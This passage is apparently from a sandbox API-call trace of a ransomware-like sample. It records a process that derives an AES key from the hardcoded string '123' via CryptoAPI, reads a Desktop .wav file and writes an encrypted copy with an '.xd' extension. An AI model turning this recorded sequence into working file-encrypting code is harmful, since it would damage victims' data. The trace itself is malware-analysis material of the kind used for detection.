wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.515] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0074.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16213d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0074.516] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0074.516] CryptCreateHash (in: hProv=0x1631bb0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0074.516] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.517] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.517] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.517] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0074.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629480, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0074.517] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0074.517] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0074.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629430, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0074.517] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.518] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.518] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.518] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0074.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621780, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0074.518] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0074.518] CryptHashData (hHash=0x164c330, pbData=0x16293b0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0074.519] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.519] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.519] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.519] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.519] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.519] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0074.519] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.519] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0074.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621678, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0074.521] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0074.521] CryptDeriveKey (in: hProv=0x1631bb0, Algid=0x6610, hBaseData=0x164c330, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c530) returned 1 [0074.522] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.522] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.522] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.522] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.522] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.522] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.522] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0074.522] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0074.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e290, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0074.522] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0074.522] CryptDestroyHash (hHash=0x164c330) returned 1 [0074.522] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.523] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.523] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.523] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.523] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.523] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\4dZKUVf3_DD9vdyhO9zK.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\4dzkuvf3_dd9vdyho9zk.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d0 [0074.523] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.523] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0074.523] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.523] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.523] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.523] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0074.524] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\4dZKUVf3_DD9vdyhO9zK.wav.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\4dzkuvf3_dd9vdyho9zk.wav.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d8 [0074.524] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.525] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.525] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.525] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.528] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0074.528] ReadFile (in: hFile=0x3d0, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x42cc, lpOverlapped=0x0) returned 1 [0074.530] ReadFile (in: hFile=0x3d0, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0074.532] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.532] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.532] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.532] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0074.533] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.533] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.533] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0074.533] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0074.533] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0074.533] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0074.533] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0074.533] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.533] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0074.533] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.533] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0074.533] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e330, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0074.534] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0074.534] CryptGetKeyParam (in: hKey=0x164c530, dwParam=0x7, pbData=0x16293d0, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x16293d0*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0074.534] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0074.534] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0074.534] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.534] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.534] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.534] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.534] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.534] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.534] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0074.534] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.534] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0074.534] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0074.534] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.534] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.534] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0074.535] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0074.535] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0074.535] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.535] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.535] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.535] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.535] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.535] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.535] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.535] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.535] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0074.535] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621738, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0074.536] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0074.536] CryptEncrypt (in: hKey=0x164c530, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x42cc, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x42d0) returned 1 [0074.536] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.536] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.536] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.536] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.536] CharLowerBuffW (in: lpsz="byte[17105]", cchLength=0xb | out: lpsz="byte[17105]") returned 0xb [0074.536] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.537] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.537] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.537] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.537] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.537] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0074.537] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621a08, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0074.537] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0074.537] CryptEncrypt (in: hKey=0x164c530, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17e4df8*, pdwDataLen=0x130e618*=0x42cc, dwBufLen=0x42d0 | out: pbData=0x17e4df8*, pdwDataLen=0x130e618*=0x42d0) returned 1 [0074.537] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.538] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.538] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.538] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.538] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.538] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.538] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0074.538] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.538] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0074.538] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0074.538] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0074.538] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.538] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0074.539] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0074.539] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.539] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.539] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.539] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.539] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.539] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, 